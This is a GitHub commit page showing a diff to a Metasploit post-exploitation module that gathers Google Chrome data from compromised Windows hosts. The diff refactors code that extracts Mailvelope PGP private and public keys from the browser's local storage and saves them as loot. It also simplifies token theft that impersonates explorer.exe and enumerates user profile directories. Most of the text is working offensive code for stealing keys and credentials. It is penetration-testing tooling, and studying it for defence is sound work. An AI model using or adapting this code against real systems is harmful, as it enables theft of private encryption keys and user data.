Skip to content

Commit 55fc145

Browse files
committed
Simplify and clean up some
I'd really love to make this work on Linux as well, since it's really just a file grabber/parser. Unfortunately, the Post API for enumerating users and homedirs isn't great for cross-platform stuff like this. A few small changes, all verified on Windows 7: * Reuse the key storing code instead of copy-paste with minor changes * Use binary mode when opening the stored prefs * Don't bother checking for incognito since we're using `steal_token` anyway * Check for existence of directories instead of guessing based on OS match
1 parent 84ff72e commit 55fc145

File tree

1 file changed

+38
-46
lines changed

1 file changed

+38
-46
lines changed

modules/post/windows/gather/enum_chrome.rb

Lines changed: 38 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info={})
2929
[
3030
'Sven Taute', #Original (Meterpreter script)
3131
'sinn3r', #Metasploit post module
32-
'Kx499', #x64 support
32+
'Kx499', #x64 support
3333
'mubix' #Parse extensions
3434
]
3535
))
@@ -44,6 +44,22 @@ def extension_mailvelope_parse_key(data)
4444
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
4545
end
4646

47+
def extension_mailvelope_store_key(name, value)
48+
return unless name =~ /(private|public)keys/i
49+
50+
priv_or_pub = $1
51+
52+
keys = value.split(",")
53+
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
54+
keys.each do |key|
55+
key_data = extension_mailvelope_parse_key(key)
56+
vprint_good(key_data)
57+
path = store_loot(
58+
"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
59+
print_status("==> Saving #{priv_or_pub} key to: #{path}")
60+
end
61+
end
62+
4763
def extension_mailvelope(username, extname)
4864
chrome_path = @profiles_path + "\\" + username + @data_path
4965
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
@@ -60,35 +76,15 @@ def extension_mailvelope(username, extname)
6076
columns, *rows = maildb.execute2("select * from ItemTable;")
6177
maildb.close
6278

63-
rows.each do |row|
64-
res = Hash[*columns.zip(row).flatten]
65-
if res["key"] =~ /privatekeys/i
66-
keys = res["value"].split(",")
67-
print_good("==> Found #{keys.size} private key(s)!")
68-
keys.each do |key|
69-
privkey = extension_mailvelope_parse_key(key)
70-
vprint_good(privkey)
71-
path = store_loot("chrome.mailvelope.privkey", "text/plain", session, privkey, "privkey.key", "Mailvelope PGP Private Key")
72-
print_status("==> Saving private key to: #{path}")
73-
end
74-
end
75-
if res["key"] =~ /publickeys/i
76-
keys = res["value"].split(",")
77-
print_good("==> Found #{keys.size} public key(s)!")
78-
keys.each do |key|
79-
pubkey = extension_mailvelope_parse_key(key)
80-
vprint_good(pubkey)
81-
path = store_loot("chrome.mailvelope.pubkey", "text/plain", session, pubkey, "pubkey.key", "Mailvelope PGP Public Key")
82-
print_status("==> Saving public key to: #{path}")
83-
end
84-
end
79+
rows.each do |name, value|
80+
extension_mailvelope_store_key(name, value)
8581
end
8682
end
8783

8884

8985

9086
def parse_prefs(username, filepath)
91-
f = File.open(filepath, 'r')
87+
f = File.open(filepath, 'rb')
9288
until f.eof
9389
prefs = f.read
9490
end
@@ -221,17 +217,12 @@ def steal_token
221217
current_pid = session.sys.process.open.pid
222218
target_pid = session.sys.process["explorer.exe"]
223219
return if target_pid == current_pid
224-
225-
if not session.incognito
226-
session.core.use("incognito")
227-
228-
if not session.incognito
229-
print_error("Unable to load incognito")
230-
return false
231-
end
220+
if target_pid.to_s.empty?
221+
print_warning("No explorer.exe process to impersonate.")
222+
return
232223
end
233224

234-
print_status("Impersonating token: #{target_pid.to_s}")
225+
print_status("Impersonating token: #{target_pid}")
235226
begin
236227
session.sys.config.steal_token(target_pid)
237228
return true
@@ -286,7 +277,6 @@ def run
286277
]
287278

288279
@old_pid = nil
289-
@host_info = session.sys.config.sysinfo
290280
migrate_success = false
291281

292282
# If we can impersonate a token, we use that first.
@@ -299,37 +289,39 @@ def run
299289
host = session.session_host
300290

301291
#Get Google Chrome user data path
302-
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
303-
os = @host_info['OS']
304-
if os =~ /(Windows 7|2008|Vista)/
305-
@profiles_path = sysdrive + "\\Users\\"
292+
sysdrive = expand_path("%SYSTEMDRIVE%").strip
293+
if directory?("#{sysdrive}\\Users")
294+
@profiles_path = "#{sysdrive}/Users"
306295
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
307-
elsif os =~ /(2000|NET|XP)/
308-
@profiles_path = sysdrive + "\\Documents and Settings\\"
296+
elsif directory?("#{sysdrive}\\Documents and Settings")
297+
@profiles_path = "#{sysdrive}/Documents and Settings"
309298
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
310299
end
311300

312301
#Get user(s)
313302
usernames = []
314-
uid = session.sys.config.getuid
315303
if is_system?
316304
print_status("Running as SYSTEM, extracting user list...")
317-
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
305+
print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
318306
session.fs.dir.foreach(@profiles_path) do |u|
319-
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
307+
not_actually_users = [
308+
".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
309+
"LocalService", "NetworkService"
310+
]
311+
usernames << u unless not_actually_users.include?(u)
320312
end
321313
print_status "Users found: #{usernames.join(", ")}"
322314
else
315+
uid = session.sys.config.getuid
323316
print_status "Running as user '#{uid}'..."
324-
usernames << session.fs.file.expand_path("%USERNAME%")
317+
usernames << expand_path("%USERNAME%").strip
325318
end
326319

327-
328320
has_sqlite3 = true
329321
begin
330322
require 'sqlite3'
331323
rescue LoadError
332-
print_error("SQLite3 is not available, and we are not able to parse the database.")
324+
print_warning("SQLite3 is not available, and we are not able to parse the database.")
333325
has_sqlite3 = false
334326
end
335327

0 commit comments

Comments
 (0)